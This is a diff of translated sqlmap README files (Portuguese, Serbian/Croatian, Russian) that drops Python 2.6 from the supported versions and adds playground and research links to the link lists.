@@ -20,7 +20,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
|
sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.7** e **3.x** em todas as plataformas.
|
||||||
|
|
||||||
Como usar
|
Como usar
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Links
|
|||||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
|
* Playground: https://sekumart.sekuripy.hr
|
||||||
|
* Pesquisa: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
|
sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproj
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||||
|
|
||||||
Korišćenje
|
Korišćenje
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Linkovi
|
|||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Poligon: https://sekumart.sekuripy.hr
|
||||||
|
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
|
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
|
sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.7** и **3.x** на любой платформе.
|
||||||
|
|
||||||
Использование
|
Использование
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
|||||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Песочница: https://sekumart.sekuripy.hr
|
||||||
|
* Исследования: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user